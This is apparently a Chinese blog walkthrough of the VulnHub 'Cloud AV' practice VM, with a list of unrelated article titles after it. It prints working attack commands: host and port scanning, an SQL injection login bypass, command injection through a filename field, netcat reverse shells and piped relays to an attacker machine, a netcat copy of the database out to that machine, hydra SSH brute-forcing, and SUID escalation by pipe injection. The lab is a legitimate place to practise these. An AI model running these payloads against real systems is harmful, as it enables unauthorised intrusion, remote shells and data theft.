靶场练习2:cloudantvirus
靶场链接
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
信息收集
练习1用了arp-scan
,这种工具有可能会被防火墙流量监测到,所以可以使用arping
, 这种工具基本Linux
发行版都会自带。
for i in $(seq 1 255);do sudo arping -c 2 192.168.31.$i;done
根据回包来判断靶机地址。
下一步,扫描端口和服务。
sudo nmap -p- 192.168.31.197
sudo nmap -p22.8080 192.168.31.197
扫描到有ssh
和http
服务, web
服务使用Python
写的框架。
漏洞利用
访问Web服务,出现搜索框要求输入邀请码,有两种思路,暴破和注入。
注入的小技巧:先对所有键盘输入的特殊字符进行暴破,若存在状态码和回包长度不一致的,很有可能可以用于构造闭合语句。
回包显示网页使用了Flask
框架,且明确显示了数据库查询语句。
尝试使用万能密码
" or 1=1--+
顺利登录,返回一个病毒扫描页面。文本框要求输入一个文件名称,逻辑一般是文件名拼接扫描命令,可以尝试命令执行。
hello | ls
网页顺利回显了文件列表,证明了命令执行的存在。此时可以尝试写入反弹shell,因为框架使用Python
写的,可以使用Python
的反弹shell。 如果靶机环境存在 netcat
, 也可以利用 nc
构建反弹shell。
# kali
nc -nvlp 4444
# 文本框
nc 192.168.31.157 4444 -e /bin/bash
监听端口后无回显,可能是因为靶机环境的 netcat
版本过低,并不支持 -e
参数。
将之删掉后,显示连接已建立。
此时要用到的小技巧叫 nc
串联:靶机反向连接 kali
, 通过管道符将输入的命令传入 /bin/bash
,然后再通过管道符将结果反向输出到 kali
的另一个端口上。
hello | nc 192.168.31.157 3333 | /bin/bash | nc 192.168.31.157 4444
此时kali
终端中左侧输入的命令,执行后结果在右侧可显示输出。
提权
查看一下文件权限和文件列表,除了数据库文件外,其他文件对提权并没有作用。使用file database.sql
得到数据库是 sqlites
,该数据库是本地数据库,然而靶机环境中并没有读取数据库的工具,所以要把它传输到kali
中读取。
# kali
nc -nvlp 5555 > db.sql
# 靶机
nc 192.168.31.157 5555 < database.sql
传输完成后使用kali
的 sqlite3
工具进行数据库文件的读取。
发现数据库中都是密码字段,同时在靶机上cat /etc/passwd
可以获取用户字段,我们可以用这些信息各自构造一个字段来对靶机的ssh
服务进行暴破。
hydra -L usr.txt -P pass.txt ssh://192.168.31.197
暴破并不成功,寻找另外一种思路。使用pwd
看看当前目录,本目录下没有其他线索可用了,退到上一级目录看看。
通过文件列表,可以看到有一个可执行文件具有suid
权限,且据推测应该由该目录下一个.c
文件编译而来。
通过查看.c
文件可以看到,该文件的功能是对cloudav
进行升级,且命令后带一个参数,可以利用suid
尝试在参数上构造管道拼接提权。
./update_cloudav "a|nc 192.168.31.57 5555| /bin/bash | nc 192.168.31.157 6666
同时在kali
上监听这两个端口,可以发现提权成功。
最新文章
- Servlet学习二——doGet和doPost
- selenium support
- ServletContext中常用方法介绍
- JavaScript开发规范要求
- MongoDB是?
- Provider 错误 &#39;80004005&#39; 未指定的错误 的最终解决方法
- sql存在一个表而不在另一个表中的数据
- cadence 封装制作小结
- MySql数据库3【优化2】sql语句的优化
- Dos关闭进程命令
- (step6.1.5)hdu 1233(还是畅通工程——最小生成树)
- MySQL的create table as 与 like区别(转)
- hosts管理工具1.0发布了。。。。
- Unix历史及相关概念回顾
- Java Swing实现展示数据,以及过滤排序
- [转]python3之os与sys模块
- 阿里云主机Nginx下配置NodeJS、Express和Forever
- windows下pwd、ls、tail-f命令使用
- Python写的链接数据库存取数据
- Animator
热门文章
- .Net7运行模型之托管Main函数的调用
- 【LeetCode字符串#06】KMP巩固练习:重复子串
- 亲测有效! Wondershare UniConverterV14.1.7 Wondershare PDFelement Professional V9.3.3 含(win/mac版)
- 2.1.新建项目及项目目录和预览uni项目
- 基于 Hugging Face Datasets 和 Transformers 的图像相似性搜索
- Protocol Buffers 3 学习
- NOIP 模拟赛 左右横跳
- 大规模 IoT 边缘容器集群管理的几种架构-5-总结
- mssql 常用sql 语句
- 置顶TOP